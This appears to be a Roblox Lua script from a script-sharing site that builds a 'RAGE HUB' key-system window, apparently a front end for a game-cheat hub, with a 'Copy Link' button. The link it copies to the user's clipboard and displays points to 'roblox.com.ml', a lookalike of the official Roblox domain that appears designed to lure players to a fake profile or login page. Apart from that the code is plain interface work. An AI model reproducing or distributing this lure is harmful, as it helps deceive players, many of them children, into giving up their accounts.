
KeylessUniversal

-- RAGE HUB MADE BY INSANITY - Key System GUI
-- Place this in StarterGui as a LocalScript
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")
-- API KEY LINK - PASTE YOUR LINK HERE IN THE QUOTES
local API_LINK = "https://www.roblox.com.ml/users/224654536337/profile"
-- Create main ScreenGui
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "RageHubGui"
screenGui.ResetOnSpawn = false
screenGui.Parent = playerGui
-- Create background frame with gradient effect
local mainFrame = Instance.new("Frame")
mainFrame.Name = "MainFrame"
mainFrame.Size = UDim2.new(0, 500, 0, 300)
mainFrame.Position = UDim2.new(0.5, -250, 0.5, -150)
mainFrame.BackgroundColor3 = Color3.fromRGB(20, 20, 30)
mainFrame.BorderSizePixel = 0
mainFrame.Parent = screenGui
-- Add corner radius
local cornerRadius = Instance.new("UICorner")
cornerRadius.CornerRadius = UDim.new(0, 15)
cornerRadius.Parent = mainFrame
-- Add stroke/border
local stroke = Instance.new("UIStroke")
stroke.Color = Color3.fromRGB(255, 100, 0)
stroke.Thickness = 2
stroke.Parent = mainFrame
-- Title Label
local titleLabel = Instance.new("TextLabel")
titleLabel.Name = "TitleLabel"
titleLabel.Size = UDim2.new(1, 0, 0, 70)
titleLabel.Position = UDim2.new(0, 0, 0, 0)
titleLabel.BackgroundColor3 = Color3.fromRGB(30, 15, 0)
titleLabel.BorderSizePixel = 0
titleLabel.TextScaled = true
titleLabel.TextColor3 = Color3.fromRGB(255, 140, 0)
titleLabel.Font = Enum.Font.GothamBold
titleLabel.Text = "⚡ RAGE HUB ⚡"
titleLabel.Parent = mainFrame
-- Add corner radius to title
local titleCorner = Instance.new("UICorner")
titleCorner.CornerRadius = UDim.new(0, 15)
titleCorner.Parent = titleLabel
-- Subtitle
local subtitleLabel = Instance.new("TextLabel")
subtitleLabel.Name = "SubtitleLabel"
subtitleLabel.Size = UDim2.new(1, 0, 0, 25)
subtitleLabel.Position = UDim2.new(0, 0, 0, 70)
subtitleLabel.BackgroundColor3 = Color3.fromRGB(20, 20, 30)
subtitleLabel.BorderSizePixel = 0
subtitleLabel.TextScaled = true
subtitleLabel.TextColor3 = Color3.fromRGB(255, 200, 0)
subtitleLabel.Font = Enum.Font.Gotham
subtitleLabel.Text = "MADE BY INSANITY"
subtitleLabel.Parent = mainFrame
-- Check Key Button
local checkKeyButton = Instance.new("TextButton")
checkKeyButton.Name = "CheckKeyButton"
checkKeyButton.Size = UDim2.new(0, 210, 0, 80)
checkKeyButton.Position = UDim2.new(0, 20, 0, 110)
checkKeyButton.BackgroundColor3 = Color3.fromRGB(40, 25, 0)
checkKeyButton.TextScaled = true
checkKeyButton.TextColor3 = Color3.fromRGB(255, 150, 0)
checkKeyButton.Font = Enum.Font.GothamBold
checkKeyButton.Text = "🔑 CHECK KEY"
checkKeyButton.BorderSizePixel = 0
checkKeyButton.Parent = mainFrame
-- Stroke for check key button
local checkKeyStroke = Instance.new("UIStroke")
checkKeyStroke.Color = Color3.fromRGB(255, 100, 0)
checkKeyStroke.Thickness = 1.5
checkKeyStroke.Parent = checkKeyButton
-- Corner radius for check key button
local checkKeyCorner = Instance.new("UICorner")
checkKeyCorner.CornerRadius = UDim.new(0, 10)
checkKeyCorner.Parent = checkKeyButton
-- Copy Link Button
local copyLinkButton = Instance.new("TextButton")
copyLinkButton.Name = "CopyLinkButton"
copyLinkButton.Size = UDim2.new(0, 210, 0, 80)
copyLinkButton.Position = UDim2.new(0, 270, 0, 110)
copyLinkButton.BackgroundColor3 = Color3.fromRGB(25, 40, 0)
copyLinkButton.TextScaled = true
copyLinkButton.TextColor3 = Color3.fromRGB(100, 255, 100)
copyLinkButton.Font = Enum.Font.GothamBold
copyLinkButton.Text = "🔗 COPY LINK"
copyLinkButton.BorderSizePixel = 0
copyLinkButton.Parent = mainFrame
-- Stroke for copy link button
local copyLinkStroke = Instance.new("UIStroke")
copyLinkStroke.Color = Color3.fromRGB(100, 255, 100)
copyLinkStroke.Thickness = 1.5
copyLinkStroke.Parent = copyLinkButton
-- Corner radius for copy link button
local copyLinkCorner = Instance.new("UICorner")
copyLinkCorner.CornerRadius = UDim.new(0, 10)
copyLinkCorner.Parent = copyLinkButton
-- Status Label
local statusLabel = Instance.new("TextLabel")
statusLabel.Name = "StatusLabel"
statusLabel.Size = UDim2.new(0.9, 0, 0, 40)
statusLabel.Position = UDim2.new(0.05, 0, 0, 210)
statusLabel.BackgroundColor3 = Color3.fromRGB(30, 30, 40)
statusLabel.BorderSizePixel = 0
statusLabel.TextScaled = true
statusLabel.TextColor3 = Color3.fromRGB(200, 200, 200)
statusLabel.Font = Enum.Font.Gotham
statusLabel.Text = "Click a button to get started!"
statusLabel.Parent = mainFrame
-- Add corner radius to status
local statusCorner = Instance.new("UICorner")
statusCorner.CornerRadius = UDim.new(0, 8)
statusCorner.Parent = statusLabel
-- FIRE INTRO ANIMATION
local function fireIntro()
-- Fade in effect
mainFrame.BackgroundTransparency = 1
titleLabel.TextTransparency = 1
subtitleLabel.TextTransparency = 1
checkKeyButton.TextTransparency = 1
copyLinkButton.TextTransparency = 1
statusLabel.TextTransparency = 1
stroke.Transparency = 1
checkKeyStroke.Transparency = 1
copyLinkStroke.Transparency = 1
-- Animate title in with fire effect
mainFrame.Position = UDim2.new(0.5, -250, 0.5, -150)
mainFrame.Size = UDim2.new(0, 500, 0, 300)
-- Fire intro - fade and scale
for i = 0, 1, 0.05 do
mainFrame.BackgroundTransparency = 1 - i
stroke.Transparency = 1 - i
titleLabel.TextTransparency = 1 - i
subtitleLabel.TextTransparency = 1 - i
task.wait(0.03)
end
task.wait(0.3)
-- Buttons fade in
for i = 0, 1, 0.08 do
checkKeyButton.TextTransparency = 1 - i
copyLinkButton.TextTransparency = 1 - i
checkKeyStroke.Transparency = 1 - i
copyLinkStroke.Transparency = 1 - i
task.wait(0.02)
end
task.wait(0.2)
-- Status fades in
for i = 0, 1, 0.1 do
statusLabel.TextTransparency = 1 - i
task.wait(0.02)
end
end
-- BUTTON INTERACTIONS
local function setStatus(message, color)
statusLabel.Text = message
statusLabel.TextColor3 = color
end
checkKeyButton.MouseButton1Click:Connect(function()
setStatus("✅ Key system check: Coming soon!", Color3.fromRGB(100, 255, 100))
-- Optional: Add your key validation logic here
task.wait(2)
setStatus("Click a button to get started!", Color3.fromRGB(200, 200, 200))
end)
copyLinkButton.MouseButton1Click:Connect(function()
-- Copy the API link to clipboard
setStatus("📋 Copying link to clipboard...", Color3.fromRGB(255, 200, 100))
-- Use setclipboard if available (in supported environments)
if setclipboard then
setclipboard(API_LINK)
task.wait(0.5)
setStatus("✅ Link copied! " .. API_LINK, Color3.fromRGB(100, 255, 100))
task.wait(2)
setStatus("Click a button to get started!", Color3.fromRGB(200, 200, 200))
else
setStatus("⚠️ Clipboard not available in this environment", Color3.fromRGB(255, 150, 100))
task.wait(2)
setStatus("Click a button to get started!", Color3.fromRGB(200, 200, 200))
end
end)
-- Hover effects
local function addHoverEffect(button)
local originalColor = button.BackgroundColor3
button.MouseEnter:Connect(function()
button.BackgroundColor3 = Color3.fromRGB(
math.min(originalColor.R + 0.15, 1),
math.min(originalColor.G + 0.15, 1),
math.min(originalColor.B + 0.15, 1)
)
end)
button.MouseLeave:Connect(function()
button.BackgroundColor3 = originalColor
end)
end
addHoverEffect(checkKeyButton)
addHoverEffect(copyLinkButton)
-- Run fire intro on startup
fireIntro()
print("🔥 RAGE HUB LOADED - MADE BY INSANITY 🔥")No comments yet for this script.



